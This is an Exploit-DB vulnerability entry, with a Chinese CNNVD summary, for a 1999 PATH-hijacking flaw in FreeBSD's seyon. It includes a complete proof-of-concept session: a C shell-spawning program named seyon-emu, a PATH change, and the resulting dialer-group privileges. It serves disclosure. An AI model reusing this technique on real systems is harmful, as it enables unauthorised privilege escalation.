https://www.exploit-db.com/exploits/19609
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-012

FreeBSD的seyon存在漏洞。用户可以通过修改查找xterm和seyon-emu命令的PATH变量获得权限。

source: http://www.securityfocus.com/bid/780/info

Seyon uses relative pathnames to spawn two other programs which it requires. It is possible to exploit this vulnerability to obtain the priviliges which seyon runs with. It is installed (by default) setgid dialer on FreeBSD and root on Irix. 

bash-2.03$ uname -a; id; ls -la `which seyon`
FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT 1999=
=

[email protected]:/usr/src/sys/compile/GENERIC i386
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)
-rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon
bash-2.03$ cat > seyonx.c
void main () {
setregid(getegid(), getegid());
system("/usr/local/bin/bash");
}
bash-2.03$ gcc -o seyon-emu seyonx.c
bash-2.03$ PATH=.:$PATH
bash-2.03$ seyon
bash-2.03$ id
uid=1000(xnec) gid=68(dialer) groups=68(dialer), 1000(xnec)
bash-2.03$

来源:BID
名称:838
链接:http://www.securityfocus.com/bid/838
来源:OSVDB
名称:5996
链接:http://www.osvdb.org/5996